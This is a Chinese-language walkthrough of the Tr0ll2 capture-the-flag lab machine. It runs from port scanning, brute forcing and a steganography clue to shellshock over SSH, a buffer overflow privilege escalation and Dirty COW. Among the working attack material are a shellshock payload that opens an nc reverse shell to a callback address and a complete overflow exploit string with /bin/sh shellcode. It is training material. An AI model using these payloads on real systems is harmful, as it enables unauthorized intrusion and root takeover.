Tr0ll2
1、主机发现
arp-scan -l
2、端口扫描
nmap -sS -sV 192.168.66.181
nmap -sS -A -T4 -p- 192.168.66.181
nmap --script=vuln 192.168.66.181
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
详细扫描
这里没找到匿名访问之类的,我们看80端口然后扫一下目录
3、目录扫描
gobuster dir -u http://192.168.66.181:80 -t30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
dirsearch -u http://192.168.66.187:80/ -e * -i 200
nikto -h 192.168.66.181 -p 80
dirb http://192.168.66.181
dirsearch
dirb
gobuster
这里学到了一个新思路,也不算是,因为在我看到这些目录的时候我有想过这些目录进行交叉组合进行访问,或者扫描其他目录,但是没想到dirb和dirsearch可以扫描文档,就是把这些目录放到一个txt下爆破
这东西我也是第一次知道还能这样使用
dirb http://192.168.66.181/ robots.txt ---空格后填写文本默认指向该字典
4、寻找攻击点
访问80端口
依旧是这张图片,看一下其他目录
还是很抽象的东西,有可能是账户名之类的或者文件目录
果然,这里是很多目录,扫不出来,我们需要自行访问一下
到这里最大疑点是给的目录,这因该是一些密码账户,因为21端口没有匿名访问,根据经验来说,21端口存在一些提示信息,然后再用到22端口进行隧道建立,我们尝试一下爆破,而且作者提示我们脚本化这些文件。
这里我又回头看了一下,找到了一个应该是用户名,zomg这个,我们再尝试爆破
这里思路有点歪了,其实应该尝试暴力破解的,我只用他给的几个文件目录去爆破了,想的窄了,我们接下来尝试爆破
爆破
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.66.181 ssh
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.66.181 ftp
21端口
这里偏的太远了,没尝试弱口令,就是Troll这个账户和密码,这里需要注意,算是失误了
这里我们下载了一个zip,有密码我们尝试爆破
zip爆破
使用这个工具爆破一下
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u lmao.zip
fcrackzip -u -D -p 1.txt lmao.zip
这里ssh爆破也失败了、看了wp之后发现是那张图片的问题,我们下载一下那张图片看看是否隐藏了信息
隐写
wget http://192.168.66.181/dont_bother/cat_the_troll.jpg
我们下载了图片后查看隐写
用strings查看图片隐写的信息
这里有个坑,就是这个图片有很多文件路径,但是只有这个路径有隐藏信息
我们访问这个路径
这里发现了很多密码,估计是让我们爆破,我们把这个txt下载下来
估计是哪个zip的密码,我们爆破一下,这里要注意把base64解码再去爆破
base64 -d answer.txt > an.txt
noob文件信息枚举
这里是一个用户的信息
5、shellshock漏洞利用
较新的版本支持语法
ssh -i noob noob@192.168.66.181
这里第一次知道是可以使用这个文件去进行ssh登录的
这里注意一个问题就是密钥版本较新,linux版本比较旧的无法解析,我们需要指定旧版算法
这段代码兼容性更强
ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa noob@192.168.66.181
这里看到了访问被拒绝了,可以登录需要外壳拿权限。
shellshock env环境变量绕过ssh
shellshock env环境变量绕过ssh,我们找找相关漏洞
找到了使用方法,我们尝试构造一下
user_agent = {'User-agent': '() { :; }; /bin/bash -c "rm /tmp/.f;mkfifo /tmp/.f;cat /tmp/.f|/bin/sh -i 2>&1|nc '+cbip+' '+cbport+' >/tmp/.f"'}
我们找了一些相关exp,发现了使用方法,我们构造语句
我们利用noob的密钥进行登录并且进行命令执行
ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa noob@192.168.66.181 '() { :;}; cat /etc/passwd'
这样我们就能远程执行命令了,这时我们只需要让他开一个shell即可
ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa noob@192.168.66.181 '() { :;}; /bin/bash'
修复shell:
python -c 'import pty;pty.spawn("/bin/bash")'
6、内网信息收集
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 2> /dev/unll
这里找了一些SID 权限的文件
7、方法一缓冲区溢出
ls -lahR
这里看了wp说是存在缓冲区溢出
1、判断是否有溢出
1)进入查看溢出文件信息
cd door2
ls
./r00t
Usage: ./r00t input,提示在r00t后面添加命令。
这里不知道什么原因r00t文件执行后是重启,
2)测试是否存在缓冲区溢出
./r00t $(python -c 'print "A" * 300') ---生成300个A
./r00t $(python -c 'print "A" * 200')
提示:Segmentation fault----分段错误,存在溢出!接下来将该文件base64转发下载到本地进行逆向分析!
3)base64转码
将转码值写入本地文本并解码成文件!
复制至本地文本:
gedit base.txt
base64解码并验证:
cat base.txt | base64 -d > r00t
md5sum r00t ---双方MD5值对比(因MD5不可逆)
分析文件
gdb ./r00t
2、查找偏移量
pattern_create是生成一个字符串模板输入后根据EIP来确定覆盖return addr的长度。
1)利用pattern_create.rb,在本地生成300个字符,找偏移量
locate pattern_create.rb
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
获得地址:
0x6a413969
3)获得偏移量
利用pattern_offset.rb,找偏移量:
3、查找ESP的溢出地址
前面找到偏移量后,可以知道栈空间大小占据空间位置,接下来找到跳板地址也就是ESP,就可以跳到恶意代码shellcode位置!
1)print写入268个A和4个B,查找出EIP地址
r $(python -c 'print "A"*268 + "B"*4')
info r
继续获取ESP值。
2)获取ESP(下一跳值)
print写入268个A、4个B和20个C,查找出ESP地址:
r $(python -c 'print "A"*268 + "B"*4 + "C"*20')
获取ESP内存地址:0xbffffb80
即反向ESP为:\x80\xfb\xff\xbf。
4、shellcode编写
谷歌搜索获得shellcode:
http://shell-storm.org/shellcode/files/shellcode-827.php
因为它运行在Intel,并且操作系统是86位Linux,因此我从此处获取Shellcode连接:
"|428" 未创建,点击以创建。
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
当选择好shellcode恶意代码后,即可进行exp写入shellcode进行编写payload。
5、EXP编写
接下来需要执行exp,获得shell,开始编写。
编写EXP:
./r00t $(python -c 'print "A"*偏移量 + "反向ESP" + "\x90"*20 + "shellcode"')
按照模板编写:
./r00t $(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
python -c 'import pty; pty.spawn("/bin/bash")' #执行tty
可看到成功缓冲区溢出跳转执行shellcode获得bash的shell!
方法二缓冲区溢出提权:
1)测试是否有缓冲区溢出,使用脚本生成字符
locate pattern
利用pattern_create.rb,在本地生成1000个字符,找偏移量 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
2)进入gdb进行测试,然后直接开始运行r00t,发现偏移量的地址,使用工具进行解码。发现偏移量是268.
0x6a413969
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x6a413969
3)进行ASLR的查询,发现结果是0.说明没有开启。检查checksec保护机制。
cat /proc/sys/kernel/randomize_va_space
4)找esp值:验证EIP,这里验证出来ebp和eip是正确的。
./r00t $(python -c 'print "A" * 300')
r $(python -c 'print "A"*268 + "B"*4')
r $(python -c 'print "A"*268 + "B"*4 + "C"*20')
5)寻找ESP的地址,这里可以直接看,或者是通过命令。来查看esp的下一跳地址。
info r
0xffffcf60 \x60\xcf\xff\xff
6)下面拼接好shellcode就可以。exp的构造./r00t $(python -c 'print "A"_偏移量 + "ESP" + "\x90"_20 + "shellcode"'),拿到root权限。
练习shellcode的编写
./r00t $(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90" * 20 + "\x6a\x17\x58\x31\xdb\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80"')
方法三:脏牛提权
searchsploit linux 3.2.0 Privilege
别的方法太难了,直接牛牛大法一键提权
拿下
总结:
1)使用ftp收集信息
2)访问网站信息获取密码
3)使用fcrackzip来爆破压缩包
4)发现缓冲区溢出提权、脏牛提权
后续我也会出更多打靶文章,希望大家关注!谢谢